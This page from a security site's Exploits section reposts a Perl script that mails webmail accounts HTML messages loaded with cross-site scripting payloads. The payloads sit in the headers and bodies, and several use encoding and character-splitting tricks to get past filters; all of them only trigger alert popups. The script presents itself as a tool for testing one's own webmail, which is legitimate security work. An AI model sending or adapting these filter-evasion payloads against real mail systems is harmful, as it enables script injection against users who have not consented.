首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
mail XSS的脚本
来源:http://hi.baidu.com/zrxc/blog 作者:zrxc 发布时间:2009-07-06  
#!/usr/bin/perl

use Getopt::Std;
use Net::SMTP;
use strict;

=head1 NAME

excess - A script for testing webmail systems for cross-site scripting problems

=head1 DESCRIPTION

This script sends a number of HTML-formatted email messages to a specified
email address. In order to test a webmail system you need to have an email
account on the system, run this script to send messages to that account,
and then view the received messages through the webmail interface. If you
get a popup box saying "XSS!" it means that your webmail system failed
to block the attack.

Try viewing the messages in several different browsers, including Internet
Explorer and Mozilla Firefox. Some attacks work in one browser, but don't
work in another.

=head1 OPTIONS

=over

=item -t you@webmail.example.com        The destination email address


=item -f return-address@example.com      From email address. Replies and rejects will go to that address.


=item -s mymailserver.example.com       SMTP server to use for sending messages.


=back

=cut

my %opts;
getopts('t:s:f:', \%opts);

my $to = $opts{'t'} || die "No destination address specified";
my $from = $opts{'f'} || die "No from address specified";
my $server = $opts{'s'} || die "No SMTP server specified";

my @test_messages = (
<<END
From: <script>alert("XSS in From: (plain JavaScript)");</script>
To: <script>alert("XSS in To: (plain JavaScript)");</script>
Date: <script>alert("XSS in Date: (plain JavaScript)");</script>
Subject: <script>alert("XSS in Subject: (plain JavaScript)");</script>
Content-type: text/html

<html>
<body>
<h1> Plain JavaScript </h1>
<script language="JavaScript">
alert("XSS in message body (plain JavaScript)!");
</script>
</body>
</html>
END
,
<<END
From: <img src="javascript:alert(\"XSS in From: (javascript url in img src )\")">
To: <img src="javascript:alert(\"XSS in To: (javascript url in img src )\")">
Subject: <img src="javascript:alert(\"XSS in Subject: (javascript url in img src )\")">
Date: <img src="javascript:alert(\"XSS in Date: (javascript url in img src )\")">
Content-type: text/html

<html>
<body>
<h1> Javascript URL in img src </h1>
<img src="javascript:alert(\"XSS in message body (javascript url in img src)\")">
</body>
</html>
END
,
<<END
From: <body ONLOAD=alert('XSS in From: (body onload handler)')>
To: <body ONLOAD=alert('XSS in To: (body onload handler)')>
Subject: <body ONLOAD=alert('XSS in Subject: (body onload handler)')>
Date: <body ONLOAD=alert('XSS in Date: (body onload handler)')>
Content-type: text/html

<html>
<body ONLOAD=alert('XSS in message body (body onload handler)')>
<h1> JavaScript in body onload event handler </h1>
</body>
</html>
END
,
<<END
From: <img src="http://invalidhostname/" onerror="alert('XSS in From (image onerror handler)')">
To: <img src="http://invalidhostname/" onerror="alert('XSS in To (image onerror handler)')">
Date: <img src="http://invalidhostname/" onerror="alert('XSS in Date (image onerror handler)')">
Subject: <img src="http://invalidhostname/" onerror="alert('XSS in Subject (image onerror handler)')">
Content-type: text/html

<html>
<body>
<h1> JavaScript in image onerror handler </h1>
<img src="http://invalidhostname/" onerror="alert('XSS in message body (image onerror handler')">
</body>
</html>
END
,
<<END
From: <p onmouseover="alert('XSS in From: (onmouseover handler)')">
To: <p onmouseover="alert('XSS in To: (onmouseover handler)')">
Date: <p onmouseover="alert('XSS in Date: (onmouseover handler)')">
Subject: <p onmouseover="alert('XSS in Subject: (onmouseover handler)')">
Content-type: text/html

<html>
<body>
<h1> JavaScript in onmouseover handler </h1>
<p onmouseover="alert('XSS in message body (onmouseover handler)')">
Move the mouse pointer over this text. Thanks.
</p>
</body>
</html>
END
,

<<END
From: <img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#32;&#105;&#110;&#32;&#70;&#114;&#111;&#109;&#58;&#32;&#40;&#117;&#116;&#102;&#56;&#45;&#101;&#110;&#99;&#111;&#100;&#101;&#100;&#32;&#85;&#82;&#76;&#41;&#39;&#41;>
To: <img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#32;&#105;&#110;&#32;&#84;&#111;&#58;&#32;&#40;&#117;&#116;&#102;&#56;&#45;&#101;&#110;&#99;&#111;&#100;&#101;&#100;&#32;&#85;&#82;&#76;&#41;&#39;&#41;>
Subject: <img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#32;&#105;&#110;&#32;&#83;&#117;&#98;&#106;&#101;&#99;&#116;&#58;&#32;&#40;&#117;&#116;&#102;&#56;&#45;&#101;&#110;&#99;&#111;&#100;&#101;&#100;&#32;&#85;&#82;&#76;&#41;&#39;&#41;>
Date: <mg src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#32;&#105;&#110;&#32;&#68;&#97;&#116;&#101;&#58;&#32;&#40;&#117;&#116;&#102;&#56;&#45;&#101;&#110;&#99;&#111;&#100;&#101;&#100;&#32;&#85;&#82;&#76;&#41;&#39;&#41>
Content-type: text/html

<html>
<body>
<h1> JavaScript in UTF8-encoded URL </h1>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#32;&#105;&#110;&#32;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#32;&#98;&#111;&#100;&#121;&#58;&#32;&#40;&#117;&#116;&#102;&#56;&#45;&#101;&#110;&#99;&#111;&#100;&#101;&#100;&#32;&#85;&#82;&#76;&#41;&#39;&#41;>
</body>
</html>
END
,
<<END
From: <img src=&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000032;&#0000105;&#0000110;&#0000032;&#0000070;&#0000114;&#0000111;&#0000109;&#0000058;&#0000032;&#0000040;&#0000108;&#0000111;&#0000110;&#0000103;&#0000032;&#0000117;&#0000116;&#0000102;&#0000056;&#0000045;&#0000101;&#0000110;&#0000099;&#0000111;&#0000100;&#0000101;&#0000100;&#0000032;&#0000085;&#0000082;&#0000076;&#0000041;&#0000039;&#0000041;>
To: <img src=&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000032;&#0000105;&#0000110;&#0000032;&#0000084;&#0000111;&#0000058;&#0000032;&#0000040;&#0000108;&#0000111;&#0000110;&#0000103;&#0000032;&#0000117;&#0000116;&#0000102;&#0000056;&#0000045;&#0000101;&#0000110;&#0000099;&#0000111;&#0000100;&#0000101;&#0000100;&#0000032;&#0000085;&#0000082;&#0000076;&#0000041;&#0000039;&#0000041;>
Subject: <img src=&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000032;&#0000105;&#0000110;&#0000032;&#0000083;&#0000117;&#0000098;&#0000106;&#0000101;&#0000099;&#0000116;&#0000058;&#0000032;&#0000040;&#0000108;&#0000111;&#0000110;&#0000103;&#0000032;&#0000117;&#0000116;&#0000102;&#0000056;&#0000045;&#0000101;&#0000110;&#0000099;&#0000111;&#0000100;&#0000101;&#0000100;&#0000032;&#0000085;&#0000082;&#0000076;&#0000041;&#0000039;&#0000041;>
Date: <img src=&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000032;&#0000105;&#0000110;&#0000032;&#0000068;&#0000097;&#0000116;&#0000101;&#0000058;&#0000032;&#0000040;&#0000108;&#0000111;&#0000110;&#0000103;&#0000032;&#0000117;&#0000116;&#0000102;&#0000056;&#0000045;&#0000101;&#0000110;&#0000099;&#0000111;&#0000100;&#0000101;&#0000100;&#0000032;&#0000085;&#0000082;&#0000076;&#0000041;&#0000039;&#0000041;>
Content-type: text/html

<html>
<BODY>
<h1>JavaScript in long UTF8 encoding</h1>
<IMG SRC=&#0000106;&#0000097;&#0000118;&#0000097;&#0000115;&#0000099;&#0000114;&#0000105;&#0000112;&#0000116;&#0000058;&#0000097;&#0000108;&#0000101;&#0000114;&#0000116;&#0000040;&#0000039;&#0000088;&#0000083;&#0000083;&#0000032;&#0000105;&#0000110;&#0000032;&#0000109;&#0000101;&#0000115;&#0000115;&#0000097;&#0000103;&#0000101;&#0000032;&#0000098;&#0000111;&#0000100;&#0000121;&#0000032;&#0000040;&#0000108;&#0000111;&#0000110;&#0000103;&#0000032;&#0000117;&#0000116;&#0000102;&#0000056;&#0000045;&#0000101;&#0000110;&#0000099;&#0000111;&#0000100;&#0000101;&#0000100;&#0000032;&#0000085;&#0000082;&#0000076;&#0000041;&#0000039;&#0000041;>
</body>
</html>
END
,
<<END
From: <img src=&#6a&#61&#76&#61&#73&#63&#72&#69&#70&#74&#3a&#61&#6c&#65&#72&#74&#28&#27&#58&#53&#53&#20&#69&#6e&#20&#46&#72&#6f&#6d&#3a&#20&#28&#68&#65&#78&#2d&#65&#6e&#63&#6f&#64&#65&#64&#20&#55&#52&#4c&#29&#27&#29>
To: <img src=&#6a&#61&#76&#61&#73&#63&#72&#69&#70&#74&#3a&#61&#6c&#65&#72&#74&#28&#27&#58&#53&#53&#20&#69&#6e&#20&#54&#6f&#3a&#20&#28&#68&#65&#78&#2d&#65&#6e&#63&#6f&#64&#65&#64&#20&#55&#52&#4c&#29&#27&#29>
Subject: <img src=&#6a&#61&#76&#61&#73&#63&#72&#69&#70&#74&#3a&#61&#6c&#65&#72&#74&#28&#27&#58&#53&#53&#20&#69&#6e&#20&#53&#75&#62&#6a&#65&#63&#74&#3a&#20&#28&#68&#65&#78&#2d&#65&#6e&#63&#6f&#64&#65&#64&#20&#55&#52&#4c&#29&#27&#29>
Date: <img src=&#6a&#61&#76&#61&#73&#63&#72&#69&#70&#74&#3a&#61&#6c&#65&#72&#74&#28&#27&#58&#53&#53&#20&#69&#6e&#20&#44&#61&#74&#65&#3a&#20&#28&#68&#65&#78&#2d&#65&#6e&#63&#6f&#64&#65&#64&#20&#55&#52&#4c&#29&#27&#29>
Content-type: text/html

<html>
<BODY>
<h1>JavaScript URL in hex encoding</h1>
<IMG SRC=&#6a&#61&#76&#61&#73&#63&#72&#69&#70&#74&#3a&#61&#6c&#65&#72&#74&#28&#27&#58&#53&#53&#20&#69&#6e&#20&#6d&#65&#73&#73&#61&#67&#65&#20&#62&#6f&#64&#79&#20&#28&#68&#65&#78&#2d&#65&#6e&#63&#6f&#64&#65&#64&#20&#55&#52&#4c&#29&#27&#29>
</body>
</html>
END
,
<<END
From: <IMG SRC="jav\&#x09;ascript:alert('XSS in From: (URL broken up by 0x09 character)');">
To: <IMG SRC="jav\&#x09;ascript:alert('XSS in To: (URL broken up by 0x09 character)');">
Date: <IMG SRC="jav\&#x09;ascript:alert('XSS in Date: (URL broken up by 0x09 character)');">
Subject: <IMG SRC="jav\&#x09;ascript:alert('XSS in Subject: (URL broken up by 0x09 character)');">
Content-type: text/html

<html>
<BODY>
<h1>JavaScript URL broken up by 0x09 character</h1>
<IMG SRC="jav\&#x09;ascript:alert('XSS in message body (URL broken up by 0x09 character)');">
</body>
</html>
END
,
<<END
From: <img src="jav\&#x0A;ascript:alert('XSS in From: (URL broken up by 0x0A character)');">
To: <img src="jav\&#x0A;ascript:alert('XSS in To: (URL broken up by 0x0A character)');">
Date: <img src="jav\&#x0A;ascript:alert('XSS in Date: (URL broken up by 0x0A character)');">
Subject: <img src="jav\&#x0A;ascript:alert('XSS in Subject: (URL broken up by 0x0A character)');">
Content-type: text/html

<html>
<BODY>
<h1>JavaScript URL broken up by 0x0A character</h1>
<img src="jav\&#x0A;ascript:alert('XSS in message body (URL broken up by 0x0A character)');">
</body>
</html>
END
,
<<END
From: <img src="jav\&#x0D;ascript:alert('XSS in From: (URL broken up by 0x0D character)');">
To: <img src="jav\&#x0D;ascript:alert('XSS in To: (URL broken up by 0x0D character)');">
Date: <img src="jav\&#x0D;ascript:alert('XSS in Date: (URL broken up by 0x0D character)');">
Subject: <img src="jav\&#x0D;ascript:alert('XSS in Subject: (URL broken up by 0x0D character)');">
Content-type: text/html

<html>
<BODY>
<h1>JavaScript URL broken up by 0x0D character</h1>
<img src="jav\&#x0D;ascript:alert('XSS in message body (URL broken up by 0x0D character)');">
</body>
</html>
END
,
<<END
From: <img src="jav\x00ascript:alert('XSS in From: (URL broken up by 0x00 character)');">
To: <img src="jav\x00ascript:alert('XSS in To: (URL broken up by 0x00 character)');">
Date: <img src="jav\x00ascript:alert('XSS in Date: (URL broken up by 0x00 character)');">
Subject: <img src="jav\x00ascript:alert('XSS in Subject: (URL broken up by 0x00 character)');">
Content-type: text/html

<html>
<BODY>
<h1>JavaScript URL broken up by 0x00 character</h1>
<IMG SRC="jav\x00ascript:alert('XSS in message body (URL broken up by 0x00 character)">
</body>
</html>
END
,
<<END
From: <IMG SRC='vbscript:msgbox("XSS in From: (vbscript)")'>
To: <IMG SRC='vbscript:msgbox("XSS in To: (vbscript)")'>
Date: <IMG SRC='vbscript:msgbox("XSS in Date: (vbscript)")'>
Subject: <IMG SRC='vbscript:msgbox("XSS in Subject: (vbscript)")'>
Content-type: text/html

<html>
<BODY>
<h1>VBScript</h1>
<IMG SRC='vbscript:msgbox("XSS in message body (vbscript)")'>
</body>
</html>
END
,
<<END
From: <DIV STYLE="width: expression(alert('XSS in From: (style using expression)'));"></DIV>
To: <DIV STYLE="width: expression(alert('XSS in To: (style using expression)'));"></DIV>
Date: <DIV STYLE="width: expression(alert('XSS in Date: (style using expression)'));"></DIV>
Subject: <DIV STYLE="width: expression(alert('XSS in Subject: (style using expression)'));"></DIV>
Content-type: text/html

<html>
<BODY>
<h1>JavaScript in STYLE tag through expression()</h1>
<DIV STYLE="width: expression(alert('XSS in message body (style using expression)'));"></DIV>
</body>
</html>

END
,
<<END
From: <STYLE>\@im\\port'\\ja\\vasc\\ript:alert("XSS in From: (style using import)")';</STYLE>
To: <STYLE>\@im\\port'\\ja\\vasc\\ript:alert("XSS in To: (style using import)")';</STYLE>
Date: <STYLE>\@im\\port'\\ja\\vasc\\ript:alert("XSS in Date: (style using import)")';</STYLE>
Subject: <STYLE>\@im\\port'\\ja\\vasc\\ript:alert("XSS in Subject: (style using import)")';</STYLE>
Content-type: text/html

<html>
<BODY>
<h1>JavaScript in STYLE tag through \@import</h1>
<STYLE>\@im\\port'\\ja\\vasc\\ript:alert("XSS in message body (style using import)")';</STYLE>
</body>
</html>
END
,
<<END
From: <IMG STYLE='xss: expre\\ssion(alert("XSS in From: (image style)"))'>
To: <IMG STYLE='xss: expre\\ssion(alert("XSS in To: (image style)"))'>
Date: <IMG STYLE='xss: expre\\ssion(alert("XSS in Date: (image style)"))'>
Subject: <IMG STYLE='xss: expre\\ssion(alert("XSS in Subject: (image style)"))'>
Content-type: text/html

<html>
<BODY>
<h1>JavaScript in IMAGE style</h1>
<IMG STYLE='
xss:
expre\\ssion(alert("XSS in message body (image style)"))'>
</body>
</html>
END
);

foreach my $message (@test_messages) {
    if(my $error = send_message($message)) { # Returns undef on success, error message on failure
        die $error;
    }
}
print "Successfully sent " . scalar(@test_messages) . " mesasges.\n";
print "Now go and view them using the webmail system you are testing\n";

sub send_message($) {
    my $message = shift;
    my $smtp = Net::SMTP->new($server);
    $smtp->mail($from) || return "MAIL FROM command failed: " . $smtp->message();
    $smtp->to($to) || return "RCPT TO commmand failed: " . $smtp->message();
    $smtp->data() || return "DATA commmand failed: " . $smtp->message();
    $smtp->datasend($message) || return "Sending message data failed: " . $smtp->message();
    $smtp->dataend || return "Sending message data failed: " . $smtp->message();
    $smtp->quit;
    return undef;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft DirectShow MPEG2Tune
·Microsoft DirectShow MPEG2Tune
·Local root exploit for FreeBSD
·[0-Day] ShopCartDx <= v4.30 (p
·[0-Day] ShopCartDx <= v4.30 (p
·Remote blind SQL injection exp
·Soulseek versions 157 NS below
·Joomla! versions prior to 1.5.
·MySQL version 5.0.45 suffers f
·win32 xp-sp3 beep and exitproc
·Rcmd.vbs 1.01修正版
·Almnzm 2.0 Remote Blind SQL In
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved